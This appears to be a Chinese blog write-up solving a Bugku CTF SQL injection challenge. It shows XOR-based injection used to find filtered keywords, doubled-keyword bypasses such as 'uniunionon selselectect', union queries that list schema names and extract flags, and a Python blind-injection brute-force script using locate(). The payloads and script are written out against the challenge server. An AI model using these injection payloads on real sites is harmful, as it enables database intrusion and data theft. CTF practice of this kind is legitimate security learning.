bugku中的多次题目以及学到的异或注入

首先我们判断一下是什么注入类型

注意输入的是英文字符',中文不会转变为%27,报错,说明是字符注入
这时候我们就要判断一下SQL网站过滤了什么内容,我们可以使用异或注入来判断哪些字符串被过滤掉了

http://120.24.86.145:9004/1ndex.php?id=1%27^(0)%23

正常运行,我们在输入

http://120.24.86.145:9004/1ndex.php?id=1%27^(1)%23

出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入

http://120.24.86.145:9004/1ndex.php?id=1%27^(length(%27union%27)%3E0)%23

%3E是>号,页面显示正常,这就是说length('union')>0这个语句是错误的,也就是union已经被过滤掉了。

通过以上的方法我们可以找到所有被过滤的字符  select union or and  而limit和from没有被过滤

我们构造SQL注入语句

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,2%23

看到了一个回显,就是在2的位置上,我们继续查找数据库名和表名

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20table_name%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%201,1)%23

得到数据库名称为web1002-1,表名为flag1,有两列,flag1,address

查询flag1得到第一个flag     usOwycTju+FTUUzXosjr

因为题目说是有两个flag所以在查询一下address

得到

点击下一关

依然是一个SQL注入的题目,这里比较坑的就是,他的字体显示的是黑色的,当我们输入'的时候

存在SQL注入,并且我们可以从回显中查看哪些被过滤掉了,注意是错误中的显示才是正确的,

输入union没有反应说明是被过滤掉了,输入双重union

发现select也被过滤掉了,

发现无法回显,只能使用脚本进行爆破

http://120.24.86.145:9004/Once_More.php?id=-1%27union%20select%20sleep%20or%20and%20if%20limit%23

发现sleep也被过滤掉了,测试之后发现substr也被过滤掉了,所以使用locate函数达到这样的效果

http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'{',(select user()),2))=2%23

具体的代码
 

def flag2():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1'and  (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                print "[*] : "+flag
                key = 1
        if key ==0:
            break

其他的测试database和这个的类似

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值